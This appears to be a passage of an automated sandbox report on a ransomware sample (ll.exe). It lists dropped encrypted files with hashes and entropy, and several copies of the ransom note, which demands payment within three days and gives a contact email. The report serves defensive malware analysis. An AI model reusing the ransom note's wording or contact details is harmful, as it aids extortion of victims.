Preview:.vl.Q!gW$.n....:.l...E.VD...i.vf...0~G<..|..(._O....:..n.E.wvt.....GAW%sCj..oI.=. ...K|.v...U10.9....I..LnM.H.S.V.y:R....a....,..n.K..d....z.wW<...V..DX..@.CK...7..g.`Cy.....7..Y....x...O....~......5Q.......@s..^.....S9x.y.ZP2z8'..@....Q....Z..:.!....7KY&....V.c..!...^.<.#g&..7...E.mh...KZ.&........GUF..A.*....m.R...6.F..xL...b.sx.V`...~........p{.b?.DKD.'5()..;.1..{....2Xp{#.(g..]..K........~keM._.c.z."..i4f>..H.)*...pc...5..R...}......Zq.s.&r....L..G1.\rY..,l......:..e.%..!...=...7...PT.x:^<|.E..&D.^ ..;.n.,CX..2...T.....w.5....cZ.J....@.$.<.c.?B.caD.H.'.........g<..N.h.....4.R+i(..8.X.&O.F.)8.(#cM&,...... ..KP>D.....f...J..%miO.......a.B[..Ky,.../4.4..G2+...|;.wG.%.G.O.r...BZ.....\.......IS.......O./...3EL.../`.[.4..X4._.-S..R.^.+...4...:..z....k...1;.....".p.. X.gU...$.. ..cs.jZ[\.jX[..6~(N"..(... ......'.....[%,..]3..Qz...>S......l. ..R.]..e...cy....XK.9!..5c!./..x?..Sl[d .;..1^.jh..D...e.b...q.....~....h.....A..f..........

C:\MSOCache\All Users\{90160000-012B-0409-0000-0000000FF1CE}-C\LyncMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1761
Entropy (8bit):7.8805723322911385
Encrypted:false
SSDEEP:
MD5:D7A645B3D9EB7B42DE3324E2249D5C6B
SHA1:E8151A467214FB391CB8ADC1F663BE69F4FEE959
SHA-256:AD42EE7CBC4A6162B4EF35528FBC13C982E4E36BD58A8620E276FDE7AC580F70
SHA-512:69C14D93156145B44CC8C2F757EA1B75AB7400CCDCC65F5A06CE2B70941083DF66ED4B43BB9E5FDE65BB961C26ECF4972E5F26625A6A5D7C9AA198C9D63F45D6
Malicious:false
Preview:....1Ux.....=x.[A...|Q$....W.x.5.6..k.k.....fSc.<..3q=.s..r..J..,bE ..Do..T64.dJ....m.W.._...C.....;/....S\.7..P...R.ZB.Q..A-.>.+t(.*..e..bs..H5..|.k..VwC.S.O\.m.M:...,&....k.H\..dU\..X.....F..)n,KJx,.m.f.!.."..V/cn~....L...Q...]..1.U|....(5b...;....4",..T..0.I4b.H...o.3.'....{.>.M}.m........U/.XJ[.go.....".a..F...Z.e.(...#.7+.....G1...k=..A...No.<.H.f..9A@..-.....&.z...nu...PIcb...X...}.....^S`.t`...Y=..b.j.H..D.0. .?..{.U...n.<.[i....C.E"..5.v....Y....d. ........|`u....A@..{..9.!.4.....q..+..l3....F.(..t7+.m$.......MI.v..~G..b..1.p...."t z..i.|.....i3........v.H{X..fP....4.Z....<...*.(.......P..UFP.)S....*.. .l... 4.c2.a&.?.QS.P.9.dj..E.j....`.#SVL..^Y.,!.....}....c.^v.?U..Z..EY.y:q'Z(.P.K@..M]&...gK...W..$iJ.....`.K.9.TY.t..J..*..U...+...M..Vnr...li+.(..._..w.. ..L ..h;.....4.A:.....|.....D...~p..:.%.=.qW....1..W..t..X..A..F~B ...if.u.F...ei.j..n..d.%...N..$.. ...~.".g. .k.J"..1&q....`......0..M..ae..I..~...!V......F....(vC.^.

C:\MSOCache\All Users\{90160000-012B-0409-0000-0000000FF1CE}-C\LyncMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1761
Entropy (8bit):7.8805723322911385
Encrypted:false
SSDEEP:
MD5:D7A645B3D9EB7B42DE3324E2249D5C6B
SHA1:E8151A467214FB391CB8ADC1F663BE69F4FEE959
SHA-256:AD42EE7CBC4A6162B4EF35528FBC13C982E4E36BD58A8620E276FDE7AC580F70
SHA-512:69C14D93156145B44CC8C2F757EA1B75AB7400CCDCC65F5A06CE2B70941083DF66ED4B43BB9E5FDE65BB961C26ECF4972E5F26625A6A5D7C9AA198C9D63F45D6
Malicious:false
Preview:....1Ux.....=x.[A...|Q$....W.x.5.6..k.k.....fSc.<..3q=.s..r..J..,bE ..Do..T64.dJ....m.W.._...C.....;/....S\.7..P...R.ZB.Q..A-.>.+t(.*..e..bs..H5..|.k..VwC.S.O\.m.M:...,&....k.H\..dU\..X.....F..)n,KJx,.m.f.!.."..V/cn~....L...Q...]..1.U|....(5b...;....4",..T..0.I4b.H...o.3.'....{.>.M}.m........U/.XJ[.go.....".a..F...Z.e.(...#.7+.....G1...k=..A...No.<.H.f..9A@..-.....&.z...nu...PIcb...X...}.....^S`.t`...Y=..b.j.H..D.0. .?..{.U...n.<.[i....C.E"..5.v....Y....d. ........|`u....A@..{..9.!.4.....q..+..l3....F.(..t7+.m$.......MI.v..~G..b..1.p...."t z..i.|.....i3........v.H{X..fP....4.Z....<...*.(.......P..UFP.)S....*.. .l... 4.c2.a&.?.QS.P.9.dj..E.j....`.#SVL..^Y.,!.....}....c.^v.?U..Z..EY.y:q'Z(.P.K@..M]&...gK...W..$iJ.....`.K.9.TY.t..J..*..U...+...M..Vnr...li+.(..._..w.. ..L ..h;.....4.A:.....|.....D...~p..:.%.=.qW....1..W..t..X..A..F~B ...if.u.F...ei.j..n..d.%...N..$.. ...~.".g. .k.J"..1&q....`......0..M..ae..I..~...!V......F....(vC.^.

C:\MSOCache\All Users\{90160000-012B-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-012B-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2224
Entropy (8bit):7.9028925969557475
Encrypted:false
SSDEEP:
MD5:74EC6EE7403C7A5BA84CCDD900721A9F
SHA1:152C7DC40A85598B75D255AEB8859A11641519ED
SHA-256:960A1F43B4E5C4E681099F5D08A2483EAAA0057AEB5A159D6EDE1B96F25E2D0E
SHA-512:E78D6B442E038EF5F2E4255D298FF0B404CBA182FE705384C89A5DC486C25BB39CD06DDC7F30EE04A6F620D40ED3C566EC43EF5B043191A6C45265D349929089
Malicious:false
Preview:."y.@dD&.E..........4...9OxH.*;]..c.7X.....0.?...w.m......v..J.^...3..<.?...]...n....\..Z...)p.X'_...*r......'lK.V....#d.:L65.....[.y|m...i..l...W.T.RA*.".z......OW.T..L^.X...zC....l..iR...F....8..m.]i.7..CL...G.N..6).rZ.....W..e..........m.87...f.T....f.)yuV..<.)....N...$.%...`.-8..........3.F..V...3 Z.`*'..~...f.....k.&.4.0$}6.]...g....7k..K....x\."q.~0..............V.....K.....\L...?..uz.*.O&W.?...E|).W. !........B.4F..w....^..9.m.Z^j...3..............%C..It.#...~....&p..E....[E..jw;$.*...4.d.Q..G....;....tf2....kG......v..v>..M....._..eE.............&.....d.6+x....N...&...QK...La.X.....D.&.1...$@.......P....[.7MB..H..o..)Zx..py..Fb....i............a.A#...|...jo[&.CH.. ../.....u..Q.K...7.>.n...G!Y.?.A............8..i...y.yxF. .o..9........xC)SC.....7&....hW.]....B}........>Kl.....)........{.......G.,.&..?..|..g 8.ji.W=aZzW._d..xn.i\..6Y/.......Y......l..x...Y^3H......3.|!........Y....X..\.SX+..z.I........e..S.....@..&.....iKP;....

C:\MSOCache\All Users\{90160000-012B-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2224
Entropy (8bit):7.9028925969557475
Encrypted:false
SSDEEP:
MD5:74EC6EE7403C7A5BA84CCDD900721A9F
SHA1:152C7DC40A85598B75D255AEB8859A11641519ED
SHA-256:960A1F43B4E5C4E681099F5D08A2483EAAA0057AEB5A159D6EDE1B96F25E2D0E
SHA-512:E78D6B442E038EF5F2E4255D298FF0B404CBA182FE705384C89A5DC486C25BB39CD06DDC7F30EE04A6F620D40ED3C566EC43EF5B043191A6C45265D349929089
Malicious:false
Preview:."y.@dD&.E..........4...9OxH.*;]..c.7X.....0.?...w.m......v..J.^...3..<.?...]...n....\..Z...)p.X'_...*r......'lK.V....#d.:L65.....[.y|m...i..l...W.T.RA*.".z......OW.T..L^.X...zC....l..iR...F....8..m.]i.7..CL...G.N..6).rZ.....W..e..........m.87...f.T....f.)yuV..<.)....N...$.%...`.-8..........3.F..V...3 Z.`*'..~...f.....k.&.4.0$}6.]...g....7k..K....x\."q.~0..............V.....K.....\L...?..uz.*.O&W.?...E|).W. !........B.4F..w....^..9.m.Z^j...3..............%C..It.#...~....&p..E....[E..jw;$.*...4.d.Q..G....;....tf2....kG......v..v>..M....._..eE.............&.....d.6+x....N...&...QK...La.X.....D.&.1...$@.......P....[.7MB..H..o..)Zx..py..Fb....i............a.A#...|...jo[&.CH.. ../.....u..Q.K...7.>.n...G!Y.?.A............8..i...y.yxF. .o..9........xC)SC.....7&....hW.]....B}........>Kl.....)........{.......G.,.&..?..|..g 8.ji.W=aZzW._d..xn.i\..6Y/.......Y......l..x...Y^3H......3.|!........Y....X..\.SX+..z.I........e..S.....@..&.....iKP;....

C:\MSOCache\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\PerfLogs\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Adobe\Acrobat Reader DC\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Adobe\Acrobat Reader DC\ReadMe.htm

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):17167
Entropy (8bit):7.989007718030304
Encrypted:false
SSDEEP:
MD5:4A71B216C772F1351AC7057E9AC7FD25
SHA1:FCDB5B6F6FC0B29DE03C02E14ACEC28C4B988585
SHA-256:6978748B38EA1151A26CABB0E09CE150A73841FC42EC43B73FAFE3666BFDCF98
SHA-512:CA90C2C16DADD9C8A3F2F927E0F35633C9935999FDE04F84C1B6DC1A15AA02707B45E49A68FE71F4F4E9EE12F988F497127370B3BD8B2977EDD640FE2AEF4CC2
Malicious:true
Preview:.q...&.Plqg.r.g....B/{.fVn..TN.....O)X/......v..?....:8.5..T##..R..M.+.=.9:l.d.]..T.=R.9..%.$e.;....41m.V>Cg...uRx.9.*.}..REk"...g._a.......o.l)0....>...Ge5j...0..A...'.e..v=k.....%#...n.V....B...iA...sc.n.1....._.4mVN.I<.:..........D('.&.|..Q0.R.m.)\?mYK.e!O.r0...H.....n-..uw....n.Z..;.kS...c.t............D..4..S.n.P.iN`l...=%.x..p..(e......H.....*.6y.rz~..y3.Q...!...Sg..)i<...UN04.l.A......2..@./.dDo.t._..`a...&...W<HR....+k.O/...9..f.J.^Or..*.>v.....7..+...)...;...\..B...P.;(./..OX#B.}D..l1R.@WP.e`4.f...*.D...1`./.m.#.7;3.W.....=.kR.!..X.S....._.O...%.]..R..$.veZ....tl.x.1.oo|..yiLt_....h.i...f.T....Y....w..z?I.~.b\c:K.7Mg...|.u`\.............:y.[.?..^D...<.l.WOF.1?J.....6o..-j.).#.l.).@..|.N......B....a.-.ao.6hd..."3$......>..4.y?..... ..L.....o.-.......".9..y..6}.Y.*.'...7CV.;.H]...k.x...[..C.^.}s......F.}..i...0.V...F..hlQV..q.....5..J..{..B....M.y... .D6Z...P...vo.....sG......W.W.OM...;.[v..HVi.9..#.K..4A.v.B..F.H...a.....V.}....

C:\Program Files (x86)\Adobe\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\AutoIt3\Au3Check.dat

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13465
Entropy (8bit):7.985229298784926
Encrypted:false
SSDEEP:
MD5:92372165B7842862D92F7F28AA0227C9
SHA1:9398A1484C143C1CC00BAD8828F32E09C78B6D03
SHA-256:80B7D13880F66B92472F79B5333BE98B27619D6672CB18D42F30D4B8D9BF3014
SHA-512:84825A0745F0A0CD4D064774464F5178EA59348C8380BA43CC0EFE330148701A3E9FAD7DB64099A8171370C8C89734C0BA5D2B64A10E1F918B0E60CD67064DB3
Malicious:false
Preview:x...|tqD......s...........N..F. .~t>.....Z.u....>m..2w...!...nnt....P.T9.x..b,.."...v..22.9hB;..$%.NW.Ab...&.%...[.9.w.@m.Y...........v..&.p?.Um|.i..U..V<@W.X0....,.a(=..)@.y.q..1>Sg..d....-A)..+.=#.S.#3D.[f...k..r...j.&.-?....9O.EA....P_.W4G.YW#.....e.?W.Q.F...... f ...Ht.j.&.c..4}.....e.')!.......fl)..Wg....[......8.......^.j...N.PT.....i...h-C.w...G.+.=.........j.Z5......i...\e./.....h..v..Y....a..c.y.{ B..9.N....C.U8...X.....>0...zR..X!.2>.J.6c...8T;[....X........h+....9!.#.a.y...e)..{....Y....C..}.@.+..\...^..|..='.G.|..w...c2...~z.Fa.a.+.:vt^..'...z8.........}........K:....^..&t.i"....Xr(W.R.CW........&<.....@Lj*.BL..|..d.........Qe.6mD.%..K.:.....D.Jd.EuBn..P.[p.m.~.}<].....Q..8hA.."G..t.h.,..E._:.....4.C.....M..^wx.7K...[PA(J[.F.R..)C.@J....L..a.C{.....i.'4...1ry...}.P.l|.........u....OY)._.Q....Q.C....R...Z..n..F~S.rzz.R0+./GK......8a..:......k^..;.Fb/.3...........@.7..GaS..x:..#Z..~..{.;.?...)..cPB?.l...5......N..?.I.A>S..EW..VYl......-

C:\Program Files (x86)\AutoIt3\Aut2Exe\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\AutoIt3\AutoIt v3 Website.url

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):738
Entropy (8bit):7.697013552141188
Encrypted:false
SSDEEP:
MD5:4FD7F59628ED77FCB6F7AB70D2D89FFB
SHA1:D7255280967F52AC3B94784A287D4C711777CF1A
SHA-256:E9F212A8AFEACDBEC04C64CFA3DD778DB883F777FFAFE85E284A09B745D64B91
SHA-512:951488227B8D03B8ECD7F5B6685489DFF6F9BBB99BD66AC7CA5B91DECBA335CC48B7D8B50BBAC7D81EC4B8554B394AF3F1070509C6875B172ACEC364174D0806
Malicious:false
Preview:.......8uF.T....>..4..nx...td;..H.....j....((.~......E...#ug...-@.Q*K...D....t.5......&0.+* ..yo..":;..o..w.qb.....1`....XA..V.7.@....8...D.v[-K.Ox...`....sYl}..~M....I....<..G.%.X...9......*r...X.......A.z0."..k....e.^...].#....V.2..sOA.}Y3.%...L...k4{.....)UM.).l.;.%.i.F....G.#..$>Q..S...X`#..|....N..P.i..|a.K...V.8Y..|...8hG..7.`..s.?.M.H..._g"...2Q..p..F.x.U..J%=!..3...a.%.D....E}.l.W..v.....a..#..$..T9..Av...@I+9..6.s..$5.....c!PtLs.b..B..z$..#.T.[e.a..c|....lm].^.....]B..g..dG....j.<.....'..e..6d....G.y.Q..o.|1...xh..^}^e.c..q.'......a$.....U.....g6R.:....7AP.4.......P.#@s..-.S%.;...rL..:..\/&.!.....5n.$S%....E.O....[.....Z..}....d...H.@<\yqm.sO......C........w.)BC..l............$.........

C:\Program Files (x86)\AutoIt3\AutoIt.chm

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7005983
Entropy (8bit):7.999176022770172
Encrypted:true
SSDEEP:
MD5:C7972B9D599507AF6EEE73A7051AB86A
SHA1:4FA4A929DB39DFF5A4F058447FEB61DA1E7DC66A
SHA-256:D87404CC813F13FF2C62E6C940EFA71B1AE3CBB09C4E72BC1F2C6D9A20CAF037
SHA-512:D758925DBBFCEB0539FF51A71BDF8C5B2DB482C9804CDF8BB3A1F2D82E32D13068EAE6AEE8252C63087AF91D0600623D7045BA7481BC056F3BF7FC2D640483C2
Malicious:true
Preview:a.I.&.:....E......PHKY...0Fm....?.9....o$g...[..E......E..g.itHLqyK\..6.....X.3.FL...D.;.s...w.p...WO.x.....|Y.."rx.z....l...{."..R..y.U..J...5....0.....4.q...ow`.0....x.....G...6.1...'....S.}.6.M............:..Y.;-.d...O....Q...~..ni].... .....&+.....).6......>)P8qTy@.]..G.k.f..8h.v6g.t...\a.6.B.<3Y..kM..:@.|I......=O_.5........^;..[..H.VE...s..1.Y..l.r...C.E.g....S....LH.jH....... ...<.!....)[....D..aX~..;.=\~TK....U....W..Q......t;q...$...G{....;k.s........ wG.,._]....EV.s..^...n)..FV.9.Y....O....0..i(.........T.YK.....8..`.....~%K.f......J..$..........;...oiC...wOs....+.......'.r...._.../Kh.....WeL..R..n.C.O.r...........f..\..`.{i.O..nS.w?A*.$...5J..nd..=....J.v.7.?V<...".c...<|..\..j.q=.*..r...f....qE....B.Bq..E.i.....c..<o..H...:..E...&.|.j... .....R...]-.W.K..Wh..w..S~|y..+T6..f.}Z...#.^..I.....K..+.1P...l(....Zz.u.|U...7...Q..L.7Z. 3?..XLx.6..1.!.{[....HS..}i......M".pX.~...)..L.P..`M&....K..f..E...L...h.v.l...\R|....yC..

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX.chm

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):201012
Entropy (8bit):7.999193346882145
Encrypted:true
SSDEEP:
MD5:E1A03FCB848FBF8E8CC7E4047781473F
SHA1:4B1562B2D4E6644F286EA941AB4257C5C4203A97
SHA-256:E0915EA79590A7B55D0C3B77487C0EB57F44A37C489E327E43C1B90D9F49A501
SHA-512:F786E0D14A5CD79F02A761F89689E51AEF9B057411B8F2F540657C71F2EF05D309312BF83C14142FBBE892926059198051CAFD5CDD89F35B1B074E5C93F86BA9
Malicious:true
Preview:.#B.S..Y+z..DM..Q.s?.....<......=e2D.}...K'..0PpZ.3.MA...C.h..>...H."4.........L..w....+.S.j.6#y..............\s.H].R..cF.e..I...\...b&s...sF..N_...q./...xj........X.Ht.R.v?..ig.Z.)K......1.z.C...&..<.........s..`..r.Sx6z...W_j.P/.yu.b..&....J....7z..]K.A.......CT.^Z.E`...r....x/.......b..FoR{..q`.%Lw...w.*IoZ..@.Cl.."b...:...]...>.......<....?..(......4.H...!X..5...mB..5g.f..%.dv.Q~}..[..\..DX9..E...P\.r.r)=g...t......k.....@...w..z...TNC.J..O..i.O.......w....C.LP...."g7..^CA.|.t.:....d8.......Zmf..?..L....BG_.*.....m..7..y. 4.....:b.......F.v.. .K.=6.u.J..Y.2.Ui.....H....9.C.c.....y......B....R\Y=...r..G+.85,v.f|.....T.......f=.;....a.x.eE.0..."E.iB..p.G..x07........?..o..$.I...~.J.......8..l..S...I!.Owm.wHk.?%...l.fJ.wc...0...J..lIUV.....d..i...A......?.......p.+.R....k...[s/.....R.q<q...6.....E.js.u......8.^..iTG...%...O.D.q.q).."+e.[..us.B9..UH..O.j..,.c5..a..1..l ...$j.J.+.]..H...'.R..hyp.r.[....9.6......Y.$0.s...!N....g{?....

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX.psd1

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):26952
Entropy (8bit):7.993354947530506
Encrypted:true
SSDEEP:
MD5:8C38F6AADEA789BC9520EF37EC2D9144
SHA1:920A2F5633C7A913F2BFF9F377C1B63D32E6395B
SHA-256:FC5C6E67579B608BE2C38BF1679EFCAD82B3A901D4437555A297522F2035F49E
SHA-512:21F5C56A36A264A287E8AC1A57E4A4C3248A694B03574189338721BCE1069420D4E874327B2B83E8FDF989823A4E1807237CC8CD502C34C2B722DBEC4C6112A3
Malicious:true
Preview:.."..s'.jy.D..#V.cx...1 [.z......|..n..(...S..... |OB..j...".s..i..&.G...b.9H@D.b...~..*y..1..;.{...i^;Z..`.\..D.G.Ar.b.G..../....AM..'4\.0......Bn.m:.S..FJ.V"$L.0Xw9..Pi...J..)-....>.y...v$u7...3..Rb....o0..y...EO.lk..#..t`..h..q....e...&.5..J9.E.8/...E........6a03@.7X..K..V{.R.....x.!...QW...%5.3n.7jt.fd...AP..0C>.w.e;..;')"...W.vT.o.N.@..oA.p.\.x..0k...@.V...9....f\.._..;.eh`OS...1....&*...+.(........\4.i.....'...3..<+.....S3.3pZm.c..4.l...([..O._0._.......O...Z.L.Fv.y....F...^S.F.. ........Njh.)...?...2.....<m...K}....G.T..W..\.\...I...G..2..J!4......Qp.Qi9.f....s...g.5:Za..nv..|.N...D.....T..._..m..R.n.......P5wB.a++.3e........./..................g.cV[n;..=..w.r.....<.@.../ph...R...=...........@.R.......-..2V..C.q.R.S1"!3...h,..J.8.J...R...S..=..Z....4.s,..j.e._..)q.wz.9.Qd....K.-O.7...=..j..z~(";.....(....i..g....yYz.2.i.K....axX._fg.W6.s...3...m..}Q...Be...2.Wh..`.O.su..a.t...M.....\.P....Yu......} ./B.S.....)>......#.i.U..@I5.~oU...

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.Assembly.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):50052
Entropy (8bit):7.996599391750006
Encrypted:true
SSDEEP:
MD5:630C5830001FE76C58F65A0927166507
SHA1:B47626F4B107A6805D6A25C3572E59579AF177FA
SHA-256:F7835B364EA8096B4E4A2E5F1BB78E047EAB4C19764D8494E435A8E0E05CC22B
SHA-512:CF8B434AAD04A65F87DAB86C3A05CDC460728B367D35531D47EAF5ACD477968179323BDDA3E63FA9D10894EAECEC67B319F84B7AB6C614AF3CDA7B757063E541
Malicious:true
